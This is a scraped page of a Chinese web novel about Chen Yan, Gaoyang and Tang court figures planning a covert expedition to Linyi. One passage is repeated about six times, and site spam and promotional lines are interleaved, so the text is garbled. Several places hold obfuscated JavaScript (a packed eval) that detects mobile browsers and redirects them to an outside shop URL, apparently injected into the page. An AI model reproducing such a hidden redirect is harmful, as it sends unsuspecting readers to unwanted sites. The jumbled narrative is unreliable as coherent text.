即使今后李丽质诞下儿子,陈衍认定李丽质诞下的儿子同样是嫡子,那么也不会是嫡长子,地位比不过高阳和她的儿子。 长孙皇后不愿意两个女儿争夺,但事实就是如此,她同样没办法。 所以自从发现高阳情绪不对之后,她就在想是否因为生了女儿。 然而,这次长孙皇后却是猜错了。 高阳哭笑不得道:“母后,您想哪里去了?虽然我嘴上说想要儿子,但陈衍很喜欢女儿,我心里也是想要个女儿的。 “所以我很喜欢小岁安,没有.没有重男轻女那种想法。 “更何况我跟陈衍以及姐姐聊过一次,无需争夺什么。 长孙皇后一怔,随即心里欣慰地点点头,“你们能好好聊聊,这很好,倒是母后多虑了。 “但想想也是,以子安的手腕,拿捏你们两个小丫头太容易了。 高阳:“. “母后,我是有问题想向您请教的。她幽幽道。 “好好好, 母后说错了,你说吧。”长孙皇后莞尔,一桩心事散去,心情明显好了很多。 高阳沉默片刻,扭扭捏捏道:“母后,就是你们生完孩子,有没有什么好的办法.嗯,就是可以快些恢复身材。” 说到最后两个字,她难为情地低下了脑袋。 这件事已经困扰她许久了,自从生下小岁安,她就发现自己从前光滑细腻的小腹皱皱巴巴的,难看的要死。 现在她都不敢跟陈衍一起睡了,生怕陈衍知道后嫌弃自己。 长孙皇后笑吟吟地看着总算有点女儿家样子的高阳,嘴角挂着戏谑的笑:“为什么想急着恢复呢?这是很正常的情况,每一个母亲都需要经历。” 高阳豁出去了,闷闷道:“母后,不要逗儿臣了,这个样子实在太难看了,我自己都看不下去” “如果您有什么好办法,能否教教儿臣,儿臣不愿意再这样下去。” “办法嘛。”长孙皇后拉长声音,在高阳期待的眼神中,笑着说:“当然是有的。” “宫里太多人跟你有同样的困扰,早就总结出了一套很实用的办法,母后可以教给你,但却要吃很多苦头。” “母后觉得,子安或许对这方面了解得更多,毕竟他是医者。” “你不妨私下问问子安,也许他有更好的办法呢?” “母后.”高阳正欲开口,长孙皇后抬手制止。 “听母后的,子安医术高明,他若是有办法,肯定比母后的要好,你先跟子安说说,若子安没有,你写信给母后,母后再把宫里用的方法告诉你。” “可是.”高阳欲言又止。 长孙皇后摇摇头,起身说:“棠儿,母后不会害你的,你看似很骄傲,但在面对有关子安的时候,你有些太小心了。” “子安是一位很好的先生,母后指的不光是在教导孩子这方面。母后很认真地告诉你,你可以将你的困扰说给子安听,毕竟,你们是夫妻,不是吗?” 高阳一时语塞,目光复杂,不知道该说什么。 在她脑子一团乱糟糟的时候,长孙皇后离 开了。 不久之后,李世民和长孙皇后离开了渭南县,返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚,他们的到来已经有所影响了。 而在他们离开之后,陈衍来到了主卧,想看看自己的宝贝闺女。 瞧着又睡着的女儿,陈衍并不失望,反而满脸笑意道:“睡着好,能吃能睡,以后肯定是个健康的孩子。 高阳定定望着自己的丈夫,突然说:“夫君,我自从生了小岁安后,肚子皱巴巴的,你有没有办法让我快些恢复? 陈衍一愣,高阳见他没马上回应,心里一紧,还以为他是嫌弃了。 没想到下一秒,陈衍脸上瞬间绽开一个极其生动的表情,几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅! 高阳:“. 她一时间不知道是该高兴还是难过,索性破罐子破摔,解开衣服,让陈衍看看。 后者瞧了瞧,伸出手指捏了捏,顿时乐了:“哎呦我,我看你还说不说我女儿脑袋尖尖的,现在好了吧?你肚子皱皱的! “这就是报应啊! “我真是高阳气坏了,抬手给了他一下狠的。 “我认真问你话呢,你能不能尊重点我?你知不知道对于一个女子来说这有多难受? “你还笑! 她气呼呼地整理好衣服,偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的,你还不让我说了? “况且,你问我你还这么嚣张? “你的态度呢?你诚恳的语气呢? 高阳一口气差点没上来,但她深知陈衍吃软不吃硬的性子,跟他硬碰硬绝对没好果子吃,非得来软的才行。 她只好深吸一口气,努力挤出一个甜腻的笑容,扭过头来,拽着陈衍的袖子轻轻摇晃: “哎呀,夫君~ “求求你了啦,我呕! “噗!陈衍实在没憋住,瞬间笑喷了。 “哎呦我艹啦,你这求人的代价也太大了吧?把自己都给求吐了? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 开了。 不久之后,李世民和长孙皇后离开了渭南县,返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚,他们的到来已经有所影响了。 而在他们离开之后,陈衍来到了主卧,想看看自己的宝贝闺女。 瞧着又睡着的女儿,陈衍并不失望,反而满脸笑意道:“睡着好,能吃能睡,以后肯定是个健康的孩子。 高阳定定望着自己的丈夫,突然说:“夫君,我自从生了小岁安后,肚子皱巴巴的,你有没有办法让我快些恢复? 陈衍一愣,高阳见他没马上回应,心里一紧,还以为他是嫌弃了。 没想到下一秒,陈衍脸上瞬间绽开一个极其生动的表情,几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅! 高阳:“. 她一时间不知道是该高兴还是难过,索性破罐子破摔,解开衣服,让陈衍看看。 后者瞧了瞧,伸出手指捏了捏,顿时乐了:“哎呦我,我看你还说不说我女儿脑袋尖尖的,现在好了吧?你肚子皱皱的! “这就是报应啊! “我真是高阳气坏了,抬手给了他一下狠的。 “我认真问你话呢,你能不能尊重点我?你知不知道对于一个女子来说这有多难受? “你还笑! 她气呼呼地整理好衣服,偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的,你还不让我说了? “况且,你问我你还这么嚣张? “你的态度呢?你诚恳的语气呢? 高阳一口气差点没上来,但她深知陈衍吃软不吃硬的性子,跟他硬碰硬绝对没好果子吃,非得来软的才行。 她只好深吸一口气,努力挤出一个甜腻的笑容,扭过头来,拽着陈衍的袖子轻轻摇晃: “哎呀,夫君~ “求求你了啦,我呕! “噗!陈衍实在没憋住,瞬间笑喷了。 “哎呦我艹啦,你这求人的代价也太大了吧?把自己都给求吐了? “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 开了。 不久之后李世民和长孙皇后离开了渭南县返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚 而在他们离开之后陈衍来到了主卧想看看自己的宝贝闺女。 瞧着又睡着的女儿陈衍并不失望反而满脸笑意道:“睡着好能吃能睡以后肯定是个健康的孩子。” 高阳定定望着自己的丈夫突然说:“夫君我自从生了小岁安后肚子皱巴巴的你有没有办法让我快些恢复?” 陈衍一愣高阳见他没马上回应心里一紧还以为他是嫌弃了。 没想到下一秒陈衍脸上瞬间绽开一个极其生动的表情几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅!” 高阳:“.” 她一时间不知道是该高兴还是难过索性破罐子破摔解开衣服让陈衍看看。 后者瞧了瞧伸出手指捏了捏顿时乐了:“哎呦我我看你还说不说我女儿脑袋尖尖的现在好了吧?你肚子皱皱的!” “这就是报应啊!” “我真是”高阳气坏了抬手给了他一下狠的。 “我认真问你话呢你能不能尊重点我?你知不知道对于一个女子来说这有多难受?” “你还笑!” 她气呼呼地整理好衣服偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的你还不让我说了?” “况且你问我你还这么嚣张?” “你的态度呢?你诚恳的语气呢?” 高阳一口气差点没上来但她深知陈衍吃软不吃硬的性子跟他硬碰硬绝对没好果子吃非得来软的才行。 她只好深吸一口气努力挤出一个甜腻的笑容扭过头来拽着陈衍的袖子轻轻摇晃: “哎呀夫君~” “求求你了啦我呕!” “噗!”陈衍实在没憋住瞬间笑喷了。 “哎呦我艹啦你这求人的代价也太大了吧?把自己都给求吐了?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 开了。 不久之后李世民和长孙皇后离开了渭南县 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚他们的到来已经有所影响了。 而在他们离开之后陈衍来到了主卧想看看自己的宝贝闺女。 瞧着又睡着的女儿陈衍并不失望反而满脸笑意道:“睡着好能吃能睡以后肯定是个健康的孩子。” 高阳定定望着自己的丈夫突然说:“夫君我自从生了小岁安后肚子皱巴巴的你有没有办法让我快些恢复?” 陈衍一愣高阳见他没马上回应心里一紧还以为他是嫌弃了。 没想到下一秒陈衍脸上瞬间绽开一个极其生动的表情几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅!” 高阳:“.” 她一时间不知道是该高兴还是难过索性破罐子破摔解开衣服让陈衍看看。 后者瞧了瞧伸出手指捏了捏顿时乐了:“哎呦我我看你还说不说我女儿脑袋尖尖的现在好了吧?你肚子皱皱的!” “这就是报应啊!” “我真是”高阳气坏了抬手给了他一下狠的。 “我认真问你话呢你能不能尊重点我?你知不知道对于一个女子来说这有多难受?” “你还笑!” 她气呼呼地整理好衣服偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的你还不让我说了?” “况且你问我你还这么嚣张?” “你的态度呢?你诚恳的语气呢?” 高阳一口气差点没上来但她深知陈衍吃软不吃硬的性子跟他硬碰硬绝对没好果子吃非得来软的才行。 她只好深吸一口气努力挤出一个甜腻的笑容扭过头来拽着陈衍的袖子轻轻摇晃: “哎呀夫君~” “求求你了啦我呕!” “噗!”陈衍实在没憋住瞬间笑喷了。 “哎呦我艹啦你这求人的代价也太大了吧?把自己都给求吐了?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 开了。 不久之后,李世民和长孙皇后离开了渭南县,返回长安。 毕竟他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683477|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚,他们的到来已经有所影响了。 而在他们离开之后,陈衍来到了主卧,想看看自己的宝贝闺女。 瞧着又睡着的女儿,陈衍并不失望,反而满脸笑意道:“睡着好,能吃能睡,以后肯定是个健康的孩子。” 高阳定定望着自己的丈夫,突然说:“夫君,我自从生了小岁安后,肚子皱巴巴的,你有没有办法让我快些恢复?” 陈衍一愣,高阳见他没马上回应,心里一紧,还以为他是嫌弃了。 没想到下一秒,陈衍脸上瞬间绽开一个极其生动的表情,几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅!” 高阳:“.” 她一时间不知道是该高兴还是难过,索性破罐子破摔,解开衣服,让陈衍看看。 后者瞧了瞧,伸出手指捏了捏,顿时乐了:“哎呦我,我看你还说不说我女儿脑袋尖尖的,现在好了吧?你肚子皱皱的!” “这就是报应啊!” “我真是”高阳气坏了,抬手给了他一下狠的。 “我认真问你话呢,你能不能尊重点我?你知不知道对于一个女子来说这有多难受?” “你还笑!” 她气呼呼地整理好衣服,偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的,你还不让我说了?” “况且,你问我你还这么嚣张?” “你的态度呢?你诚恳的语气呢?” 高阳一口气差点没上来,但她深知陈衍吃软不吃硬的性子,跟他硬碰硬绝对没好果子吃,非得来软的才行。 她只好深吸一口气,努力挤出一个甜腻的笑容,扭过头来,拽着陈衍的袖子轻轻摇晃: 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “哎呀,夫君~” “求求你了啦,我呕!” “噗!”陈衍实在没憋住,瞬间笑喷了。 “哎呦我艹啦,你这求人的代价也太大了吧?把自己都给求吐了?” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 开了。 不久之后李世民和长孙皇后离开了渭南县返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚他们的到来已经有所影响了。 而在他们离开之后陈衍来到了主卧想看看自己的宝贝闺女。 瞧着又睡着的女儿陈衍并不失望反而满脸笑意道:“睡着好能吃能睡以后肯定是个健康的孩子。” 高阳定定望着自己的丈夫突然说:“夫君我自从生了小岁安后肚子皱巴巴的你有没有办法让我快些恢复?” 陈衍一愣高阳见他没马上回应心里一紧还以为他是嫌弃了。 没想到下一秒陈衍脸上瞬间绽开一个极其生动的表情几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅!” 高阳:“.” 她一时间不知道是该高兴还是难过索性破罐子破摔解开衣服让陈衍看看。 后者瞧了瞧伸出手指捏了捏顿时乐了:“哎呦我我看你还说不说我女儿脑袋尖尖的现在好了吧?你肚子皱皱的!” “这就是报应啊!” “我真是”高阳气坏了抬手给了他一下狠的。 “我认真问你话呢你能不能尊重点我?你知不知道对于一个女子来说这有多难受?” “你还笑!” 她气呼呼地整理好衣服偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的你还不让我说了?” “况且你问我你还这么嚣张?” “你的态度呢?你诚恳的语气呢?” 高阳一口气差点没上来但她深知陈衍吃软不吃硬的性子跟他硬碰硬绝对没好果子吃非得来软的才行。 她只好深吸一口气努力挤出一个甜腻的笑容扭过头来拽着陈衍的袖子轻轻摇晃: “哎呀夫君~” “求求你了啦我呕!” “噗!”陈衍实在没憋住 “哎呦我艹啦你这求人的代价也太大了吧?把自己都给求吐了?” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 开了。 不久之后李世民和长孙皇后离开了渭南县返回长安。 毕竟他们的身份注定不能离开宫里太久。 更何况陈衍他们几个年轻人还打算聚聚他们的到来已经有所影响了。 而在他们离开之后陈衍来到了主卧想看看自己的宝贝闺女。 瞧着又睡着的女儿陈衍并不失望反而满脸笑意道:“睡着好能吃能睡以后肯定是个健康的孩子。” 高阳定定望着自己的丈夫突然说:“夫君我自从生了小岁安后肚子皱巴巴的你有没有办法让我快些恢复?” 陈衍一愣高阳见他没马上回应心里一紧还以为他是嫌弃了。 没想到下一秒陈衍脸上瞬间绽开一个极其生动的表情几乎是兴高采烈地凑过来: “是吗?快让我瞅瞅!” 高阳:“.” 她一时间不知道是该高兴还是难过索性破罐子破摔解开衣服 后者瞧了瞧伸出手指捏了捏顿时乐了:“哎呦我我看你还说不说我女儿脑袋尖尖的现在好了吧?你肚子皱皱的!” “这就是报应啊!” “我真是”高阳气坏了抬手给了他一下狠的。 “我认真问你话呢你能不能尊重点我?你知不知道对于一个女子来说这有多难受?” “你还笑!” 她气呼呼地整理好衣服偏过头去。 陈衍撇撇嘴:“谁让你说我女儿脑袋尖尖的?现在自己肚子皱皱的你还不让我说了?” “况且你问我你还这么嚣张?” “你的态度呢?你诚恳的语气呢?” 高阳一口气差点没上来但她深知陈衍吃软不吃硬的性子跟他硬碰硬绝对没好果子吃非得来软的才行。 她只好深吸一口气努力挤出一个甜腻的笑容扭过头来拽着陈衍的袖子轻轻摇晃: “哎呀夫君~” “求求你了啦我呕!” “噗!”陈衍实在没憋住瞬间笑喷了。 “哎呦我艹啦你这求人的代价也太大了吧?把自己都给求吐了?” “.” 你的朋友正在书荒,快去帮帮他吧 第423章 陈衍:你敢威胁我? 时光飞逝,半个月时间转瞬即逝。 自从高阳生下小岁安,陈衍放下一桩心事,在忙完家里的事后,便匆忙赶往了县衙。 本以为有很多事务、文书等待他处理,没曾想,李义府这些人能力一个比一个出众,县衙一切事务被处理得井井有条,有关买卖方面的事也被许怜月处理得相当好。 许怜月甚至大肆招收了很多工人来大规模制作白糖,目前渭南县又多了两家糖铺。 当然,白糖更多的是靠王老五他们通过各种渠道售卖至大唐各地,这才是收入的最大头。 一切发展都符合陈衍的预期,他来了县衙之后,忽然发现自己没事干了。 反倒被杜构他们嫌弃碍事,让他实在不行去上堂算了。 陈衍寻思着上堂就上堂吧,正好免得别人说自己总不露面,趁着这段时间在百姓面前露露脸。 但让他没想到的是,这半个月以来,压根没什么大案子,就算有一些小案子,也无需闹到上堂的地步。 陈衍坐在案几前,一手撑着下巴,另一只手无聊地点着,眼睛望着周围忙碌的身影,感觉自己是那么的格格不入。 房遗直注意到了这一幕,劝道:“陈兄,你不如出去走走,或者回去照顾妻女吧。我们每个人都有自己的职责,而你的职责便是为我们指出明路,让我们走在正确的道路上,何必留在这里呢?” 陈衍很心动,犹豫道:“那这样岂不是很对不起你们?你们都在忙,而我作为县令却在偷懒,说不过去啊。” 埋头处理文书的杜构闻言抬起头,“陈兄,你该不会被什么山野精怪附身了吧?从前咱们县衙人手不够的时候,你理直气壮地偷懒,现在县衙人手好不容易够了,你又觉得偷懒说不过去了?” 陈衍:“.” 杜构叹息:“陈兄啊,你快拉倒吧,该干嘛干嘛去,我们没指望你来干这些活儿。有这时间,你不如出去走走瞧瞧,说不定能想出更好的发展方法呢?” “咳咳!”陈衍干咳,不动声色地站起身,“既然你们都这么说了,那我就先走了哈,有问题的话,随时 来找我便好。 杜构和房遗直都没再说话,低头忙着自己的事。 陈衍无趣地耸耸肩,转身离开了。 说真的,这样的局面相当符合他的预想,他来当这个县令,本来就没打算当一个正常的县令。 而且照这个情况下去,说不定明年,最晚后年他就不是县令了。 小问题全部交给下面的人,大问题给自己过目决定,重大问题大家坐下来一起商讨。 这样一来,马周、杜构他们这些来历练的人得到足够的历练,有许多机会来展示自己的能力,等今后离开渭南县有一个好的前途。 而自己可以空闲下来,多做些自己喜欢做的事,或者陪陪家人。 如果可以的话,陈衍觉得一直这样下去也很不错。 就在他美滋滋地想着,刚走出县衙,忽然瞧见李泰乐得跟二傻子似的跑过来。 “越王.你这是? “越什么王越王?李泰板着脸:“现在请叫我魏王殿下! 造出热气球,虽然因为他自己虎了吧唧的挨了一顿胖揍,但李世民后来还是给了赏赐,他现在已经是魏王了。 “行行行!陈衍无奈,“小的见过魏王殿下,行了吧? 李泰眉开眼笑:“陈兄,我借鉴了锻造部的风箱,做了一个小型的风箱装到了热气球上面,更是. 李泰巴拉巴拉说了一大堆,总结起来就是一句话:“陈兄,我现在已经可以自行控制热气球的升降了,咱们的热气球算是成功了。 “好!很好!陈衍竖起一个大拇指:“不愧是咱们聪明绝顶的魏王殿下,短短半个月时间便将热气球优化完毕,佩服!佩服! 说完,他自顾自往前。 李泰赶忙追了过来:“陈兄,既然热气球已经做出来,那接下来咱们该钻研什么? “你该给我新的点子了啊! “哪有什么新的点子? “没有,你自个想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么长的时间,可不是一般人能坚持下来的。 可除了这个,陈衍一时间还真想不到让李泰去搞什么东西。 最原始的小型发电机吗?确实有可能做出来! 问题是这东西做出来好像也没什么用啊,原始的发电机电力不够,实用价值非常有限。 其他像是水力鼓风机,**武器都不太合适。 一个对李泰来说太简单,一个太危险。 陈衍揉揉太阳穴,“这样,你让我好好想想行不?我之前没骗你,我目前确实没什么太好的点子,很多东西对于你来说太简单,你估计也不乐意去干。” “还有的对你来说又太难,你目前学习的知识根本不足以支持你去完成。” “你听我的吧,先休息休息,正好这段时间我比较空闲,可以多教你们一些东西。” “你觉得怎么样?” 听闻此话,李泰眼神黯淡了一瞬,但很快便又打起精神。 虽然没有很好的点子让他去实施,可跟着陈衍多学一些知识同样不错。 “那就依陈兄所言吧。” “嗯!”陈衍松了口气,拉着李泰压低声音说:“既然你答应了,那刚刚那些事” 李泰觉得好笑:“放心吧,陈兄,我不会乱说的。” 陈衍满意地点点头,心里寻思着得赶紧想个办法制造一个李泰的把柄,如若不然以后还被威胁怎么办? “魏王,你先回去吧,我有一些事,得去一趟折冲府。” “行。” “.” 两人分别之后,陈衍径直来了折冲府。 跟随牛进达看了看这群士兵的情况,陈衍轻声说:“牛叔,这段时间让他们分批次回家探 亲,跟家人相处一会儿吧,今后他们或许跟家人见面的机会就少了。 牛进达沉默片刻,听出了陈衍的潜台词。 让士兵回家探亲,意味着不久之后,他们将正式出征,成为一支拥有目前最顶尖武器装备,拥有大量粮草,却没有旗帜,不被国家承认的军队。 牛进达目光扫过一个个挥汗如雨的身影,答应下来。 “好,俺回头安排下去! “你能否给一个具体的时间,我好看看分多少批次,以及间隔多少时间,免得引起乱子,或者引起太多人注意。 “还不清楚! “按照目前的进度,我估计至少要五月中旬才能完成,时间还算充足。 “明白了!牛进达颔首。 紧接着,陈衍又跟牛进达找到李淳风,袁天罡两人。 袁天罡上来就问:“陈先生,咱们要出征了吗? 陈衍笑道:“还没有,不过已经快了,我这次来,是想让士兵们回家看看的。 李淳风道:“理应如此,毕竟按照你的计划,他们今后恐怕没多少机会见家人了。 此言一出,几人忽然沉默了下来,一时之间,竟无一人开口。 半晌,陈衍道:“你们告诉他们无旌骑成立的目的,以及未来要做的事了吗? “当然!牛进达毫不犹豫道:“他们这段时间训练一个比一个拼命! “小子,是你带给了他们以及他们家人生存的希望,他们是不会让你失望的。 陈衍没说话,跟着他们走上木头搭建的小高台,环视着这群士兵,道:“我带给了他们希望,同样将他们带入了黑暗,他们要做的事,即使有再大的功绩,却也注定不会被天下人铭记,只有少数人知道他们的存在! “当初,他们到这里来,接受着高强度的训练,那个时候他们连自己要做什么都不清楚。或许,我最开始就应该跟他们说 清楚,让他们自己选择是否接受,而不是跟现在一样被动地接受。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707969|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼!牛进达双手环抱,冷哼,朝下面大喊:“方不语! “到! 其中一名皮肤黝黑,但显得相当精壮,大概二十多岁的青年立正回应。 牛进达道:“当你得知自己未来要做的事,你心里是何感受?别犹豫,立刻回答我! “报告将军!属下很激动! “为何激动! “因为属下原本的人生是一潭死水,兄长断腿、嫂子劳累、侄儿侄女还小,属下本以为这一辈子会跟普通人一样劳累奔波一生。但国家给了我们新的人生,赋予了我们人生新的意义。 方不语振振道:“即使属下今后会成为一支不被承认军队中的一员,即使属下可能会死在异国他乡,从此生活在暗中。 “可倘若我们带回将军所说一年两熟,甚至三熟的占城稻,可以让天下跟属下一样的百姓吃上、吃饱。 “找到在那海外岛国的银山,让天下跟属下一样的人穿好、穿暖! “属下.纵死不悔! “为何不悔!牛进达继续大声问。 “不悔,就是不悔! “看到了吗?牛进达转头道:“老子带出来的兵,没有一个孬种! 陈衍默然,对下面的方不语问:“你认识我吗? “认识!方不语回道:“您是当今渭国公!是无旌骑最早的倡议者!是我们的训练计划制定者!就连我们每天吃的饭菜,家里老小得到的照顾,都是您一手安排的! 陈衍长叹:“你刚刚说的很好,一个国家的兴盛离不开每个人的付出,你是如此,我亦是如此。 “功成不必在我,功必不唐捐,这是一种无私奉献,和为长远利益的观念。 “从今天开始,你们每个人有五天假期,回去看看家人吧! 话音落下,场面寂静了一瞬,然后大家接着忙着各自的事,只是他们看上去,内心好像并不像表面那般平静。 方不语嘴唇微动,代替战友们说出了他们想说的话。 “谢国公大人! “. 第425章 走水路 陈衍默默看了一会儿,回头:“牛叔,二位大人,叫苏定方和薛礼过来,我们找个地方,说一下我对你们的安排。” “好!”牛进达当即答应下来。 几人从高台上下来,牛进达派人去叫了苏定方以及薛礼。 众人齐坐于营帐内,面前摆放着一张巨大的堪舆图,这是由李世民专门提供的,由大量能人异士,耗费数年时间所制作,详细描绘了大唐以及周边国家的地理情况。 陈衍专门去求了李世民,复制了一张过来。 其中,代表渭南县的位置被圈上了红点。 “事到如今,多余的话我就不多说了,你们的任务我也早告诉了你们,咱们今天坐下来,先聊聊咱们的基本情况,以及首次出征需要完成的目标!”陈衍环视道。 大家齐齐点头表示明白,然后正襟危坐,侧耳倾听。 陈衍手指了指堪舆图上渭南县的位置: “我们目前处于这里,因需要暗中行事,我给你们准备了九艘大船。这是我请了天下诸多造船师傅,由陛下暗中支持,耗费了几十万贯才打造出来的大船,比大唐目前最好的船更好,更大!” “它们现在就停在渭河之上,周围被我派人围了起来,上面装满了足够的粮食、淡水、以及药草等各种物资。” 牛进达眼露精芒,想起了这么一回事。 从去年开始,陈衍就在渭河旁一处较为隐秘之地建造了一个不知名建筑,甚至还调回了府兵围了起来,哪怕他去询问陈衍都神神秘秘没说。 原来在打造新船。 苏定方拱手道:“国公大人,我们是要走水路吗?” “对!没错!”陈衍先是肯定苏定方的问题,随后手指一移,点在“林邑”的名字上。 “林邑国,你们从前或许已经从我只言片语里知道了这个地方,它就是拥有占城稻的地方。” “八百人的重骑兵,如果按寻常的办法,想暗中行事,不惊动朝廷主流**和地方官府的情况下,几乎是不可能完成的任务!” “所以走水路便 是最好的选择一是我们拥有九艘战船可以利用船只来装载粮草得手后运回粮种。” “二是我们位于渭南县靠近渭河的先天优势。” “其次寻常的时候你们可以伪装成我手底下那名船商的商船我跟陛下还能替你们暗中打通沿途关系降低暴露的风险。” 牛进达思忖道:“这么说来走水路确实是最好的选择。” “不过从渭南县到林邑国太远我们得好好商议一下行军的路线。” 陈衍目光投向袁天罡与李淳风:“国师太史令你们认为我们行军路线该如何定?” 两人对上陈衍的目光瞬间了然。 陈衍此举看似在问他们 袁天罡思索片刻伸出手指从渭南县开始一路往东划过:“我认为我们应该利用渭南县的漕运向东行进先抵达江都(今扬州)。” “这里是大运河与长江的交汇点大唐最重要的水陆码头在江都或更南方的港口南下穿过琼州海峡最终选择在林邑国北部、人烟相对稀少的沿海地区登陆。” “此路线节省马力人马、装备大部分时间由船只承运避免了陆地行军对马匹和装备的巨大损耗。” “而且自从陈先生说要林邑国的占城稻我特意跟许多他国商人、使臣打听过林邑国的情况。他们周边小国不少防御力基本上都集中在陆地上对海岸的防御基本等于无。” “若是我们从林邑国北部海岸登陆必能打他们个出其不意。” 他的话音落下牛进达和苏定方等老将陷入了沉思。 过了一会儿微微颔首认同了袁天罡所说的路线。 虽然袁天罡说的比较笼统只是一个大概的路线其中必然还有许多细节方面的事情需要商定但总而言之此路线是没问题的。 接下来几人立刻便开始了商议。 坐于首位的陈衍反而安静了下来。 他本来也没打算插手这方面的事毕竟对于行军打仗牛进达、苏定方他们才 是行家。 专业的人做专业的事,陈衍始终铭记着这句话。 同样也是后世无数煤老板的人生信条。 不过,李淳风倒是越听越惊讶了。 因为跟插不上嘴的他相比,袁天罡竟然能拍着桌子跟牛进达、苏定方他们争吵,最后竟然好像还把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707970|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两人说服了。 李淳风当时就懵了。 不是,哥们儿?! 咱们不都是算命的吗? 你怎么还懂打仗啊? 你个老小子到底还藏着多少本事? 倒是陈衍对此早有预料,也不在意他们争吵到唾沫横飞。 从当初袁天罡跟自己说,他很能打的时候,陈衍就意识到了袁天罡绝对要比李淳风藏的更深。 后来,袁天罡单刀匹马闯入异国,将李淳风和薛礼带回来后,陈衍立即便向李世民提议由袁天罡、李淳风来担任主将,这本质上是最后一次试探。 而后袁天罡虽然嘴上抱怨,哔哔赖赖,但自从他一顿忽悠,从袁天罡炽热的目光,以及跃跃欲试的模样,他就知道这货绝对能行。 如果不是因为如此,陈衍绝对让李世民找其他人,或者直接让苏定方或者牛进达来。 事实上陈衍并没猜错,李淳风可能确实不怎么懂打仗,但袁天罡这老小子行! 当然啦,跟李淳风一样插不上话的,还有薛礼这个小可怜。 甚至他还有些惶恐不安。 陈衍拍了拍他的肩膀:“薛礼啊,你从前不一直希望自己能从军,上阵杀敌,从而振兴薛家吗? “现在机会来了,所以别慌,干就完了! “更何况你好歹是个天生神力者,先好好跟着牛叔,苏将军他们学学,等多上几次战场,立下些功劳,我去跟陛下说说,让你跟代国公学学。 说的域名caixs?(请来才小 说 看最新章节 完整章节) “牛叔他们年纪不小了,你以后可就是大唐第二代将领啊! 一番话,简直说得薛礼想当场给陈衍磕几个。 偌大个汉子此时竟有些不知所措。 从他还是个种地的农民时带他和家人来长安,给自己饭吃、给自己找师傅学武、给自己的家人找住处、找活计、送弟弟妹妹上学堂。 又在陛下面前举荐自己,让自己进了无旌骑。 甚至连未来的路都给他铺好了。 这哪里是贵人啊,祖宗都没陈衍好啊! “. 第426章 李丽质:你别管,我有自己的节奏 